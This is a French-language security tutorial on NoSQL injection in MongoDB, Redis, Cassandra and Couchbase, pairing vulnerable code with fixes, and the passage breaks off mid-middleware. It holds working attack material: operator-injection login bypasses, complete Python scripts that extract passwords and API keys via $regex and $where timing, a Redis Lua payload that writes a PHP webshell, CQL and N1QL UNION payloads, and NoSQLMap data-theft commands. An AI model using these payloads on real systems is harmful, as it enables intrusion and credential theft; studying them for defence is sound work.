Les bases de données NoSQL — MongoDB, Redis, Cassandra, Couchbase — dominent les architectures applicatives modernes grâce à leur flexibilité de schéma et leurs performances en lecture et écriture. Cette adoption massive a cependant engendré une classe de vulnérabilités spécifiques.
Les bases de données NoSQL — MongoDB, Redis, Cassandra, Couchbase — dominent les architectures applicatives modernes grâce à leur flexibilité de schéma et leurs performances en lecture et écriture. Cette adoption massive a cependant engendré une classe de vulnérabilités spécifiques : les injections NoSQL, qui exploitent les mécanismes de requêtage propres à chaque moteur pour contourner l'authentification, exfiltrer des données ou exécuter du code arbitraire sur le serveur. Contrairement aux injections SQL classiques, les injections NoSQL ne reposent pas sur la manipulation de chaînes de caractères dans un langage de requête textuel mais sur l'injection d'opérateurs, d'objets JSON ou de commandes spécifiques au moteur ciblé. Cette diversité de vecteurs rend la détection et la prévention plus complexes, d'autant que les développeurs familiers avec les protections anti-SQL injection ne reconnaissent pas toujours les patterns d'attaque NoSQL. Cet article décortique les techniques d'injection pour MongoDB, Redis, Cassandra et Couchbase, couvre les méthodes d'exploitation avancées incluant les injections aveugles et l'exfiltration par canal secondaire, et détaille les défenses efficaces avec des exemples de code concrets pour chaque moteur.
MongoDB : injection d'opérateurs — le vecteur dominant
MongoDB est le moteur NoSQL le plus ciblé par les injections en raison de sa popularité massive (première base de données de documents au monde) et de son langage de requête basé sur des objets JSON qui offre une surface d'attaque naturelle lorsque les entrées utilisateur sont intégrées sans validation. Le vecteur d'attaque fondamental repose sur l'injection d'opérateurs MongoDB dans les paramètres de requête, transformant une comparaison d'égalité simple en une condition toujours vraie.
Considérons un formulaire de connexion classique. Le backend reçoit un nom d'utilisateur et un mot de passe, et exécute une requête MongoDB pour trouver un utilisateur correspondant. Le code vulnérable typique en Node.js ressemble à ceci :
Journalisation et traçabilité
// Code VULNÉRABLE — injection d'opérateurs MongoDB
const express = require('express');
const { MongoClient } = require('mongodb');
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// VULNÉRABLE: req.body peut contenir des objets, pas seulement des chaînes
const user = await db.collection('users').findOne({
username: username,
password: password
});
if (user) {
res.json({ success: true, token: generateToken(user) });
} else {
res.status(401).json({ success: false });
}
});
// Requête légitime:
// POST /login
// Content-Type: application/json
// {"username": "alice", "password": "s3cret"}
//
// Requête MongoDB résultante:
// db.users.findOne({username: "alice", password: "s3cret"})
// Requête d'ATTAQUE avec opérateur $ne (not equal):
// POST /login
// Content-Type: application/json
// {"username": "alice", "password": {"$ne": ""}}
//
// Requête MongoDB résultante:
// db.users.findOne({username: "alice", password: {$ne: ""}})
// => Retourne Alice si son mot de passe n'est pas vide (toujours vrai)
// Requête d'ATTAQUE avec opérateur $gt (greater than):
// {"username": "alice", "password": {"$gt": ""}}
// => Retourne Alice si son mot de passe est supérieur à "" (toujours vrai)
// Requête d'ATTAQUE pour contourner le nom d'utilisateur aussi:
// {"username": {"$ne": ""}, "password": {"$ne": ""}}
// => Retourne le PREMIER utilisateur de la collection (souvent l'admin)
Le mécanisme d'injection exploite la particularité du parsing JSON dans les frameworks web Node.js. Lorsque le Content-Type est application/json, Express (via le middleware body-parser ou express.json()) parse automatiquement le corps de la requête en un objet JavaScript. Si le paramètre password contient l'objet {"$ne": ""} au lieu d'une chaîne, ce n'est pas une chaîne qui est passée à la requête MongoDB mais un opérateur de comparaison. MongoDB interprète cet opérateur et retourne tout document dont le champ password n'est pas égal à la chaîne vide — une condition satisfaite par pratiquement tout mot de passe stocké.
Approfondissement technique
Les opérateurs MongoDB exploitables dans les injections sont nombreux. L'opérateur $gt (greater than) et $lt (less than) permettent des comparaisons de chaînes facilitant l'exfiltration caractère par caractère. L'opérateur $regex permet des recherches par expression régulière, ouvrant la voie à l'extraction de données par force brute du motif. L'opérateur $exists vérifie l'existence d'un champ. L'opérateur $in teste l'appartenance à une liste. L'opérateur $where exécute du JavaScript côté serveur — le vecteur le plus dangereux, équivalent à une exécution de code arbitraire.
| Opérateur MongoDB | Payload d'injection | Effet | Dangerosité |
|---|---|---|---|
$ne |
{"$ne": ""} |
Contourne la comparaison d'égalité | Haute |
$gt |
{"$gt": ""} |
Retourne si la valeur est supérieure à "" | Haute |
$regex |
{"$regex": "^a"} |
Permet l'exfiltration caractère par caractère | Haute |
$exists |
{"$exists": true} |
Vérifie l'existence d'un champ | Moyenne |
$in |
{"$in": ["admin", "root"]} |
Test d'appartenance à une liste | Moyenne |
$where |
{"$where": "sleep(5000)"} |
Exécution de JavaScript serveur | Critique |
$or |
{"$or": [{}, {"a": "b"}]} |
Modifie la logique de la requête | Haute |
$nin |
{"$nin": []} |
Contourne le filtre (rien à exclure) | Haute |
Vecteur critique : L'injection d'opérateurs MongoDB est possible parce que les frameworks web modernes (Express, Koa, Fastify) parsent automatiquement le JSON des requêtes en objets JavaScript, incluant les objets imbriqués. Un paramètre attendu comme chaîne de caractères peut être remplacé par un objet contenant un opérateur MongoDB. La défense fondamentale est de vérifier le TYPE de chaque paramètre avant de l'utiliser dans une requête.
Exfiltration de données MongoDB avec $regex
L'opérateur $regex de MongoDB constitue un vecteur d'exfiltration particulièrement puissant car il permet d'extraire des données caractère par caractère via une technique de force brute guidée. Le principe est similaire aux injections SQL aveugles basées sur les conditions booléennes : l'attaquant soumet des patterns regex de plus en plus précis et observe la réponse de l'application (succès ou échec de l'authentification) pour déduire la valeur d'un champ.
Filtrage et validation
# Exfiltration de mot de passe MongoDB via $regex (Python)
import requests
import string
import time
class MongoRegexExfiltrator:
def __init__(self, target_url, known_username):
self.target_url = target_url
self.known_username = known_username
self.charset = string.ascii_letters + string.digits + string.punctuation
self.extracted = ""
def test_char(self, prefix, char):
"""
Teste si le mot de passe commence par prefix + char.
Retourne True si la connexion réussit (regex match).
"""
# Échapper les caractères spéciaux regex
escaped_prefix = self.regex_escape(prefix)
escaped_char = self.regex_escape(char)
pattern = f"^{escaped_prefix}{escaped_char}"
payload = {
"username": self.known_username,
"password": {"$regex": pattern}
}
try:
response = requests.post(
self.target_url,
json=payload,
timeout=10
)
return response.status_code == 200 # Connexion réussie = regex match
except requests.exceptions.RequestException:
return False
def regex_escape(self, s):
"""Échappe les caractères spéciaux pour regex MongoDB."""
special = r'\.+*?^${}()|[]/'
return ''.join(f'\\{c}' if c in special else c for c in s)
def extract_password(self, max_length=64):
"""
Extrait le mot de passe caractère par caractère.
"""
print(f"[*] Extraction du mot de passe de '{self.known_username}'...")
for position in range(max_length):
found = False
for char in self.charset:
if self.test_char(self.extracted, char):
self.extracted += char
print(f"[+] Position {position}: '{char}' => '{self.extracted}'")
found = True
break
time.sleep(0.1) # Rate limiting
if not found:
print(f"[*] Extraction terminée après {position} caractères")
break
return self.extracted
def extract_field_names(self, collection_hint="users"):
"""
Découvre les noms de champs de la collection en exploitant $exists.
"""
common_fields = [
"password", "passwd", "pass", "pwd", "hash", "secret",
"token", "api_key", "apiKey", "secret_key", "secretKey",
"ssn", "credit_card", "creditCard", "phone", "email",
"role", "is_admin", "isAdmin", "admin", "permissions",
"reset_token", "resetToken", "otp", "two_factor_secret"
]
existing_fields = []
for field in common_fields:
payload = {
"username": self.known_username,
field: {"$exists": True}
}
response = requests.post(self.target_url, json=payload, timeout=10)
if response.status_code == 200:
existing_fields.append(field)
print(f"[+] Champ trouvé: {field}")
return existing_fields
# Utilisation
exfiltrator = MongoRegexExfiltrator(
target_url="https://target.com/api/login",
known_username="admin"
)
# Phase 1: découvrir les champs existants
fields = exfiltrator.extract_field_names()
print(f"\nChamps découverts: {fields}")
# Phase 2: extraire le mot de passe
password = exfiltrator.extract_password()
print(f"\nMot de passe extrait: {password}")
L'efficacité de cette technique dépend de la verbosité de la réponse de l'application. Dans le cas idéal (formulaire de connexion), la distinction binaire entre « connexion réussie » et « connexion échouée » suffit pour l'exfiltration. Dans les cas où la réponse ne varie pas de manière exploitable, l'attaquant peut se tourner vers les techniques d'exfiltration basées sur le timing (injections aveugles temporelles), couvertes dans une section ultérieure.
L'exfiltration via $regex peut être optimisée de plusieurs manières. La recherche dichotomique réduit le nombre de requêtes nécessaires : au lieu de tester chaque caractère séquentiellement, l'attaquant teste des plages de caractères (^prefix[a-m] puis ^prefix[a-g] ou ^prefix[h-m]) pour converger plus rapidement. L'utilisation de $regex avec le flag $options: "i" (case-insensitive) simplifie l'extraction lorsque la casse n'est pas critique. La combinaison de $regex avec $nin permet d'exfiltrer plusieurs enregistrements en excluant ceux déjà extraits.
Injection JavaScript côté serveur avec $where
L'opérateur $where de MongoDB accepte une expression JavaScript qui est évaluée côté serveur pour chaque document de la collection. Ce mécanisme, conçu pour les requêtes complexes impossibles à exprimer avec les opérateurs standard, constitue le vecteur d'injection le plus dangereux car il offre une capacité d'exécution de code arbitraire sur le serveur MongoDB.
Authentification et contrôle d'accès
// Injection via $where — exécution de JavaScript côté serveur
// Contournement d'authentification via $where
// Payload: {"username": "admin", "password": {"$where": "return true"}}
// Requête MongoDB: db.users.findOne({username: "admin", password: {$where: "return true"}})
// Résultat: retourne admin car $where évalue "return true" pour chaque document
// Injection aveugle temporelle via $where (time-based blind)
// L'attaquant mesure le temps de réponse pour inférer des informations
// Payload testant si le premier caractère du mot de passe admin est 'a':
{
"username": "admin",
"$where": "if(this.password.charAt(0) == 'a') { sleep(3000); return true; } else { return true; }"
}
// Si la réponse prend ~3 secondes, le premier caractère est 'a'
// Exfiltration de données via $where et timing
// Script Python automatisant l'extraction:
import requests
import time
import string
def extract_via_where_timing(target_url, field, known_username):
extracted = ""
charset = string.ascii_lowercase + string.digits
for pos in range(64):
found = False
for char in charset:
js_code = (
f"if(this.{field} && this.{field}.charAt({pos}) == '{char}') "
f"{{ sleep(2000); return true; }} else {{ return true; }}"
)
payload = {
"username": known_username,
"$where": js_code
}
start = time.time()
try:
requests.post(target_url, json=payload, timeout=10)
except requests.exceptions.Timeout:
pass
elapsed = time.time() - start
if elapsed >= 2.0:
extracted += char
print(f"[+] {field}[{pos}] = '{char}' => '{extracted}'")
found = True
break
if not found:
break
return extracted
# Extraction
password = extract_via_where_timing(
"https://target.com/api/login", "password", "admin"
)
api_key = extract_via_where_timing(
"https://target.com/api/login", "apiKey", "admin"
)
La dangerosité de $where dépend de la version de MongoDB et de la configuration du serveur. Les versions récentes de MongoDB (5.0+) exécutent le JavaScript dans un sandbox restrictif qui limite l'accès aux fonctions système. Cependant, la fonction sleep() reste disponible (utile pour les injections temporelles), et l'accès aux champs du document courant via this est préservé (utile pour l'exfiltration). Les versions plus anciennes de MongoDB pouvaient permettre l'accès à des fonctions système plus étendues via $where, incluant potentiellement l'exécution de commandes système.
MongoDB a pris des mesures pour atténuer ce risque. L'opérateur $where est déprécié depuis MongoDB 5.0 au profit de $expr qui utilise des expressions d'agrégation sans exécution de JavaScript. Les nouvelles fonctionnalités de MongoDB (change streams, transactions, schema validation) réduisent la nécessité d'utiliser $where. La recommandation est de désactiver le moteur JavaScript serveur via l'option --noscripting ou la configuration security.javascriptEnabled: false si $where n'est pas nécessaire. Cette mesure bloque également les fonctions mapReduce qui s'appuient sur JavaScript.
Redis : injection de commandes via la concaténation
Redis, bien qu'il ne soit pas une base de données de documents comme MongoDB, est vulnérable à un type d'injection spécifique lorsque les entrées utilisateur sont concaténées dans des commandes Redis envoyées via le protocole RESP (Redis Serialization Protocol). Le vecteur principal exploite la concaténation de chaînes dans la construction de commandes Redis côté serveur.
Analyse des vulnérabilités
# Injection de commandes Redis
# Code VULNÉRABLE (Python avec redis-py)
import redis
r = redis.Redis(host='localhost', port=6379)
def get_user_session(session_id):
# VULNÉRABLE: session_id est directement concaténé dans la clé
key = f"session:{session_id}"
return r.get(key)
def set_user_data(username, field, value):
# VULNÉRABLE: les paramètres sont directement utilisés
r.hset(f"user:{username}", field, value)
# Exploitation 1: Injection via la clé
# Si l'attaquant contrôle session_id:
# session_id = "abc\r\nFLUSHALL\r\nGET session:"
# La commande envoyée devient:
# GET session:abc
# FLUSHALL <- Supprime TOUTES les données Redis !
# GET session:
# Exploitation 2: Injection via les protocoles textuels legacy
# Dans les versions anciennes de Redis ou via des clients utilisant
# le protocole inline, l'injection CRLF est possible
# Exploitation 3: Injection via Lua scripting
# Si l'application utilise EVAL avec des paramètres non validés:
def search_keys(pattern):
# VULNÉRABLE: pattern contrôlé par l'utilisateur dans un script Lua
lua_script = f"""
local keys = redis.call('KEYS', '{pattern}')
local results = {{}}
for i, key in ipairs(keys) do
results[i] = redis.call('GET', key)
end
return results
"""
return r.eval(lua_script, 0)
# Payload d'attaque:
# pattern = "') redis.call('CONFIG', 'SET', 'dir', '/tmp') redis.call('CONFIG', 'SET', 'dbfilename', 'shell.php') redis.call('SET', 'webshell', '') redis.call('BGSAVE') --"
# --- Code SÉCURISÉ ---
def get_user_session_safe(session_id):
# Valider le format de session_id (UUID uniquement)
if not re.match(r'^[a-f0-9\-]{36}$', session_id):
raise ValueError("Format de session invalide")
key = f"session:{session_id}"
return r.get(key)
def search_keys_safe(pattern):
# Utiliser ARGV pour les paramètres Lua (jamais de concaténation)
lua_script = """
local keys = redis.call('KEYS', ARGV[1])
local results = {}
for i, key in ipairs(keys) do
results[i] = redis.call('GET', key)
end
return results
"""
# Le pattern est passé comme argument, pas concaténé dans le script
return r.eval(lua_script, 0, pattern)
Le vecteur d'attaque le plus critique contre Redis est l'exploitation pour l'écriture de fichiers arbitraires. En utilisant les commandes CONFIG SET dir et CONFIG SET dbfilename, un attaquant ayant accès au serveur Redis peut configurer Redis pour écrire son fichier de persistance (RDB) dans un répertoire arbitraire avec un nom de fichier arbitraire. En stockant ensuite une valeur contenant du code malveillant (webshell PHP, clé SSH, crontab) et en déclenchant un BGSAVE, le fichier est écrit sur le disque. Cette technique a été utilisée dans de nombreuses compromissions réelles pour obtenir une exécution de code sur des serveurs web colocalisés avec Redis.
Les défenses contre les injections Redis reposent sur plusieurs principes. L'utilisation de clients Redis qui utilisent le protocole binaire RESP (pas le protocole inline) élimine les injections CRLF. La validation stricte des entrées utilisateur avant leur utilisation dans les clés et commandes Redis empêche l'injection d'opérateurs. La désactivation des commandes dangereuses via rename-command dans la configuration Redis (renommer CONFIG, FLUSHALL, FLUSHDB, DEBUG, EVAL) réduit l'impact potentiel d'une injection réussie. L'exécution de Redis avec un utilisateur système non privilégié et des permissions de fichier restrictives limite l'écriture de fichiers arbitraires. L'activation de l'authentification Redis (requirepass) et de TLS protège contre les accès non autorisés au serveur, ce qui est un prérequis fondamental — un nombre alarmant de serveurs Redis sont exposés sur Internet sans authentification, comme le documentent les scans Shodan.
Cassandra : injection CQL et ses particularités
Apache Cassandra utilise CQL (Cassandra Query Language), un langage syntaxiquement similaire à SQL mais avec des différences sémantiques significatives. Les injections CQL sont possibles lorsque les requêtes sont construites par concaténation de chaînes, de manière analogue aux injections SQL classiques. Cependant, les particularités de CQL et de l'architecture distribuée de Cassandra influencent les techniques d'exploitation.
Analyse des vulnérabilités
// Injection CQL dans Cassandra
// Code VULNÉRABLE (Java avec DataStax driver)
public User findUser(String username, String password) {
// VULNÉRABLE: concaténation de chaînes dans la requête CQL
String query = "SELECT * FROM users WHERE username = '" + username
+ "' AND password = '" + password + "'";
ResultSet rs = session.execute(query);
return mapToUser(rs.one());
}
// Payload d'attaque (contournement d'authentification):
// username: admin' --
// password: anything
// Requête résultante: SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
// Le commentaire -- ignore la vérification du mot de passe
// Payload d'attaque (injection UNION - limitée en CQL):
// username: ' UNION SELECT * FROM admin_users WHERE '1'='1
// NOTE: CQL ne supporte PAS UNION, mais d'autres techniques existent
// Payload pour l'exfiltration via ALLOW FILTERING:
// username: admin' AND email > '' ALLOW FILTERING --
// Peut exposer des données via les messages d'erreur verbeux
// --- Code SÉCURISÉ (requêtes préparées) ---
public User findUserSafe(String username, String password) {
// SÉCURISÉ: utilisation de prepared statements
PreparedStatement stmt = session.prepare(
"SELECT * FROM users WHERE username = ? AND password = ?"
);
BoundStatement bound = stmt.bind(username, password);
ResultSet rs = session.execute(bound);
return mapToUser(rs.one());
}
// --- Python avec cassandra-driver (sécurisé) ---
from cassandra.cluster import Cluster
cluster = Cluster(['127.0.0.1'])
session = cluster.connect('myapp')
# SÉCURISÉ: paramètres positionnels
def find_user(username, password):
query = "SELECT * FROM users WHERE username = %s AND password = %s"
rows = session.execute(query, (username, password))
return rows.one()
# SÉCURISÉ: paramètres nommés
def find_user_named(username, password):
query = "SELECT * FROM users WHERE username = :user AND password = :pass"
rows = session.execute(query, {'user': username, 'pass': password})
return rows.one()
Les limitations de CQL par rapport à SQL restreignent certaines techniques d'exploitation. CQL ne supporte pas les sous-requêtes, les UNION, les JOIN, ni les fonctions système permettant l'accès aux métadonnées du serveur. Les commentaires en ligne (--) fonctionnent, permettant de tronquer la requête. Les opérateurs de comparaison (>, <, >=, <=) sont supportés mais uniquement sur les colonnes de clustering key ou avec ALLOW FILTERING. La directive ALLOW FILTERING peut être exploitée pour forcer des scans de table complets, potentiellement dégradant les performances du cluster — une forme de déni de service via injection.
Une particularité de Cassandra est la possibilité d'injection dans les User-Defined Functions (UDF) et les User-Defined Aggregates (UDA). Si la fonctionnalité UDF est activée (enable_user_defined_functions: true dans cassandra.yaml), un attaquant capable d'injecter du CQL peut créer ou modifier des fonctions exécutées côté serveur. Selon la configuration du sandbox Java (activé par défaut depuis Cassandra 3.0), ces fonctions peuvent avoir accès à des fonctionnalités système limitées ou étendues. La désactivation des UDF en production lorsqu'elles ne sont pas nécessaires est recommandée.
Couchbase : injection N1QL et vues MapReduce
Couchbase utilise N1QL (prononcé « nickel »), un langage de requête étendu de SQL conçu pour les documents JSON. La syntaxe N1QL est suffisamment proche de SQL pour que les techniques d'injection SQL classiques soient transposables, mais les fonctionnalités spécifiques de N1QL ouvrent des vecteurs d'attaque supplémentaires.
Analyse des vulnérabilités
// Injection N1QL dans Couchbase
// Code VULNÉRABLE (Node.js avec couchbase SDK)
const couchbase = require('couchbase');
async function searchProducts(keyword, category) {
// VULNÉRABLE: concaténation de chaînes
const query = `SELECT * FROM \`products\`
WHERE name LIKE '%${keyword}%'
AND category = '${category}'`;
const result = await cluster.query(query);
return result.rows;
}
// Payload d'attaque (exfiltration de données d'un autre bucket):
// keyword: test
// category: electronics' UNION ALL SELECT * FROM `users` WHERE '1'='1
//
// N1QL supporte UNION ALL, permettant l'accès cross-bucket si les permissions le permettent
// Payload pour l'extraction de métadonnées:
// category: ' UNION ALL SELECT META().id, META().cas, * FROM `users` --
// Payload pour l'accès aux fonctions système N1QL:
// keyword: ') OR META().id IS NOT MISSING --
// Retourne tous les documents du bucket
// Payload pour l'extraction de la structure des documents:
// keyword: test' UNION ALL SELECT OBJECT_NAMES(d) as fields FROM `users` d LIMIT 10 --
// --- Code SÉCURISÉ (requêtes paramétrées) ---
async function searchProductsSafe(keyword, category) {
// SÉCURISÉ: paramètres positionnels
const query = `SELECT * FROM \`products\`
WHERE name LIKE '%' || $keyword || '%'
AND category = $category`;
const options = {
parameters: {
keyword: keyword,
category: category
}
};
const result = await cluster.query(query, options);
return result.rows;
}
// Alternative avec le SDK Key-Value (pas de requête textuelle)
async function getProductByIdSafe(productId) {
// Validation de l'identifiant
if (!/^[a-zA-Z0-9\-]{1,64}$/.test(productId)) {
throw new Error('Invalid product ID format');
}
const result = await collection.get(productId);
return result.content;
}
N1QL offre des capacités d'exploitation plus riches que CQL grâce à son support des sous-requêtes, des UNION, des fonctions d'agrégation et des fonctions système. La fonction META() expose les métadonnées des documents (identifiant, CAS, expiration, type). Les fonctions OBJECT_NAMES() et OBJECT_PAIRS() permettent d'inspecter la structure des documents. Les fonctions de date, de chaîne et mathématiques permettent des exfiltrations sophistiquées. L'accès cross-bucket via UNION dépend des permissions de l'utilisateur Couchbase configuré pour l'application — un sujet critique car de nombreuses applications utilisent un utilisateur avec des permissions trop larges.
Approfondissement technique
Les vues MapReduce de Couchbase représentent un vecteur d'attaque supplémentaire. Les fonctions Map et Reduce sont écrites en JavaScript et exécutées côté serveur. Si un attaquant peut injecter du code dans la définition d'une vue (via une interface d'administration mal protégée ou une API de gestion de vues exposée), il obtient une exécution de code JavaScript sur le serveur. Cette attaque est moins fréquente car elle nécessite généralement un accès administratif à Couchbase, mais elle illustre l'importance de sécuriser les interfaces de gestion des bases de données NoSQL.
Les Full-Text Search (FTS) de Couchbase offrent un vecteur supplémentaire. Les requêtes FTS utilisent une syntaxe JSON structurée qui, si elle est construite dynamiquement avec des entrées utilisateur, permet l'injection d'opérateurs de recherche modifiant la logique de la requête. Un champ de recherche attendant un simple mot-clé pourrait être exploité avec des opérateurs FTS avancés (+, -, ~, *, des clauses must/must_not/should) pour extraire des informations sur la structure et le contenu de l'index de recherche. La mitigation consiste à utiliser les requêtes FTS paramétrées et à échapper les caractères spéciaux FTS dans les entrées utilisateur.
Couchbase introduit également le risque d'injection dans les Eventing Functions, des fonctions JavaScript déployées sur le cluster qui réagissent aux mutations de documents. Si un attaquant peut injecter du contenu dans un document qui déclenche une Eventing Function vulnérable, le code injecté pourrait être exécuté côté serveur dans le contexte de la fonction. Ce vecteur est indirect (l'injection se fait via les données, pas via la requête) et nécessite que l'Eventing Function traite les champs du document de manière non sécurisée (par exemple, en utilisant eval() sur un champ du document, ou en construisant des requêtes N1QL par concaténation avec les valeurs du document).
Journalisation et traçabilité
Principe transversal : Quel que soit le moteur NoSQL (MongoDB, Redis, Cassandra, Couchbase), le vecteur d'injection fondamental est la construction de requêtes par concaténation de chaînes ou par insertion directe d'entrées utilisateur dans la logique de requête. La défense universelle est l'utilisation de requêtes paramétrées (prepared statements) qui séparent structurellement le code de la requête des données utilisateur.
Injection NoSQL aveugle : techniques d'exfiltration par canal secondaire
L'injection NoSQL aveugle (blind NoSQL injection) s'applique lorsque l'application ne retourne pas directement les données de la base dans sa réponse mais que l'attaquant peut inférer des informations en observant des variations dans le comportement de l'application. Les deux canaux secondaires principaux sont les variations booléennes (la réponse diffère selon que la condition injectée est vraie ou fausse) et les variations temporelles (le temps de réponse diffère selon la condition).
Filtrage et validation
# Injection NoSQL aveugle temporelle — MongoDB avec $where
import requests
import time
import string
class BlindNoSQLTimingExfiltrator:
"""
Exfiltration aveugle par timing via l'opérateur $where de MongoDB.
Fonctionne même lorsque la réponse de l'application est identique
quel que soit le résultat de la requête.
"""
def __init__(self, target_url, delay_ms=3000, threshold_ms=2500):
self.target_url = target_url
self.delay_ms = delay_ms
self.threshold_s = threshold_ms / 1000
self.charset = string.printable.strip()
def _measure_request(self, payload):
"""Mesure le temps de réponse d'une requête."""
start = time.time()
try:
requests.post(self.target_url, json=payload, timeout=15)
except requests.exceptions.Timeout:
return 15.0
return time.time() - start
def extract_string_field(self, target_field, filter_field="username",
filter_value="admin"):
"""
Extrait la valeur d'un champ chaîne de caractères.
Utilise sleep() dans $where pour créer un délai mesurable.
"""
extracted = ""
# Phase 1: Déterminer la longueur du champ
print(f"[*] Détermination de la longueur de {target_field}...")
length = self._extract_length(target_field, filter_field, filter_value)
print(f"[+] Longueur: {length}")
# Phase 2: Extraire caractère par caractère
print(f"[*] Extraction de {target_field}...")
for pos in range(length):
char = self._extract_char_at(pos, target_field,
filter_field, filter_value)
if char:
extracted += char
print(f"[+] Position {pos}: '{char}' => '{extracted}'")
else:
print(f"[!] Caractère non trouvé à la position {pos}")
extracted += "?"
return extracted
def _extract_length(self, field, filter_field, filter_value):
"""Détermine la longueur du champ par recherche dichotomique."""
low, high = 0, 128
while low < high:
mid = (low + high) // 2
js = (f"if(this.{filter_field} == '{filter_value}' && "
f"this.{field}.length > {mid}) {{ sleep({self.delay_ms}); }}")
payload = {"$where": js}
elapsed = self._measure_request(payload)
if elapsed >= self.threshold_s:
low = mid + 1
else:
high = mid
return low
def _extract_char_at(self, position, field, filter_field, filter_value):
"""Extrait un caractère par recherche dichotomique sur le code ASCII."""
low, high = 32, 126
while low < high:
mid = (low + high) // 2
js = (f"if(this.{filter_field} == '{filter_value}' && "
f"this.{field}.charCodeAt({position}) > {mid}) "
f"{{ sleep({self.delay_ms}); }}")
payload = {"$where": js}
elapsed = self._measure_request(payload)
if elapsed >= self.threshold_s:
low = mid + 1
else:
high = mid
return chr(low) if 32 <= low <= 126 else None
def extract_field_existence(self, field_candidates):
"""Détecte quels champs existent dans la collection."""
existing = []
for field in field_candidates:
js = (f"if(this.{field} !== undefined) "
f"{{ sleep({self.delay_ms}); }}")
payload = {"$where": js}
elapsed = self._measure_request(payload)
if elapsed >= self.threshold_s:
existing.append(field)
print(f"[+] Champ existant: {field}")
else:
print(f"[-] Champ absent: {field}")
return existing
# Utilisation
exfil = BlindNoSQLTimingExfiltrator(
target_url="https://target.com/api/login",
delay_ms=3000,
threshold_ms=2500
)
# Découverte des champs
fields = exfil.extract_field_existence([
"password", "apiKey", "secretToken", "resetCode",
"twoFactorSecret", "ssn", "creditCard"
])
# Extraction des valeurs
for field in fields:
value = exfil.extract_string_field(field)
print(f"\n{field} = {value}")
L'injection aveugle booléenne dans MongoDB peut également exploiter l'opérateur $regex sans $where, ce qui fonctionne même lorsque le moteur JavaScript est désactivé. L'attaquant soumet des payloads avec des patterns regex de plus en plus précis et observe si la réponse indique un succès (regex match) ou un échec (regex no match). La distinction binaire peut être basée sur le code de statut HTTP, le contenu de la réponse, un cookie de session émis ou non, ou une redirection vers une page différente.
La détection des injections aveugles côté défenseur est complexe car les requêtes individuelles paraissent légitimes. L'identification repose sur l'analyse de patterns : un volume anormal de requêtes d'authentification depuis la même adresse IP, des paramètres contenant des opérateurs MongoDB ($where, $regex), des temps de réponse anormalement longs et réguliers (indicateur de sleep()), et des séquences de paramètres suivant un pattern d'exfiltration (regex de plus en plus précis). Pour approfondir les techniques de détection dans un SIEM, consultez notre article sur les use cases SIEM et règles de détection.
NoSQLMap : automatisation de la reconnaissance et de l'exploitation
NoSQLMap est un outil open source écrit en Python conçu pour automatiser la détection et l'exploitation des vulnérabilités d'injection NoSQL. Il supporte MongoDB, CouchDB et les injections via les applications web utilisant ces moteurs. L'outil combine la reconnaissance automatisée (détection du moteur, identification des endpoints vulnérables), l'exploitation (contournement d'authentification, exfiltration de données) et le post-exploitation (accès au shell MongoDB, extraction de toute la base).
Analyse approfondie
# Installation et utilisation de NoSQLMap
# Installation
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
pip install -r requirements.txt
# Lancement
python nosqlmap.py
# Menu principal:
# 1 - Set options
# 2 - NoSQL DB Access Attacks
# 3 - NoSQL Web App attacks
# 4 - Scan for Anonymous MongoDB Access
# 5 - Change Platform (MongoDB/CouchDB)
# 6 - Exit
# Configuration typique pour une attaque web:
# Option 1 (Set options):
# - Target Host: target.com
# - Target Port: 443
# - Use HTTPS: yes
# - Target URL Path: /api/login
# - HTTP Method: POST
# - POST Data: username=admin&password=test
# - Parameter to inject: password
# Option 3 (Web App attacks):
# 1 - Scan for injection
# 2 - Auth bypass
# 3 - Enumerate databases/collections
# 4 - Clone database
# 5 - Steal data
# --- Alternatives et compléments à NoSQLMap ---
# mongoDB-brute-hack (contournement d'auth MongoDB)
# https://github.com/andresriancho/mongo-objectid-predict
# Prédit les ObjectID MongoDB basés sur le timestamp
# nosqli (scanner NoSQL injection en Go)
# go install github.com/Charlie-belmer/nosqli@latest
# nosqli scan -t "https://target.com/api/login" -d '{"username":"test","password":"test"}'
# Burp Suite + extension NoSQL Injection Scanner
# Détection passive et active des injections NoSQL
# Supporte les opérateurs MongoDB, les injections $where et les blind injections
L'utilisation de NoSQLMap dans un contexte d'audit de sécurité autorisé permet de couvrir rapidement une surface d'attaque importante. L'outil teste automatiquement les différents opérateurs MongoDB ($ne, $gt, $regex, $where, $or), détecte les injections aveugles par variations de timing, et peut extraire le contenu complet de la base de données lorsqu'une injection exploitable est découverte. La fonctionnalité de scan anonyme MongoDB détecte les instances MongoDB exposées sur le réseau sans authentification — un scénario malheureusement encore fréquent en 2026 malgré les ransomwares ciblant spécifiquement ces instances (les attaques « MongoDB ransom » ont affecté des dizaines de milliers d'instances).
Les limitations de NoSQLMap incluent son support limité à MongoDB et CouchDB (pas de support natif pour Redis, Cassandra, Couchbase N1QL), son manque de maintenance active, et ses faux positifs potentiels dans les environnements protégés par des WAF. Pour les audits professionnels, la combinaison de NoSQLMap avec Burp Suite (extension NoSQL Injection Scanner) et des scripts Python personnalisés offre la couverture la plus complète. Pour les environnements avec des bases NoSQL multiples, il est préférable d'écrire des scripts d'injection spécifiques au moteur ciblé, comme les exemples Python présentés dans cet article.
Défenses : requêtes paramétrées et sanitization
La défense contre les injections NoSQL repose sur une approche multicouche combinant la validation des entrées, l'utilisation de requêtes paramétrées et le durcissement de la configuration des serveurs de base de données. Chaque couche adresse un vecteur d'attaque spécifique, et leur combinaison offre une protection robuste même si l'une des couches est contournée.
Validation du type des entrées
La première ligne de défense contre les injections d'opérateurs MongoDB est la vérification que chaque paramètre reçu est du type attendu. Un mot de passe doit être une chaîne de caractères, pas un objet JSON contenant un opérateur $ne. Cette vérification doit être effectuée avant toute utilisation du paramètre dans une requête.
Sanitization des entrées
// Validation du type des entrées — Node.js / Express
// Middleware de validation de types (défense contre les injections d'opérateurs)
function sanitizeInput(schema) {
return (req, res, next) => {
for (const [field, expectedType] of Object.entries(schema)) {
const value = req.body[field] || req.query[field] || req.params[field];
if (value === undefined) continue;
switch (expectedType) {
case 'string':
if (typeof value !== 'string') {
return res.status(400).json({
error: `Le champ ${field} doit être une chaîne de caractères`
});
}
// Vérifier l'absence d'opérateurs MongoDB dans la chaîne
if (value.startsWith('$')) {
return res.status(400).json({
error: `Le champ ${field} contient des caractères non autorisés`
});
}
break;
case 'number':
if (typeof value !== 'number' || isNaN(value)) {
return res.status(400).json({
error: `Le champ ${field} doit être un nombre`
});
}
break;
case 'boolean':
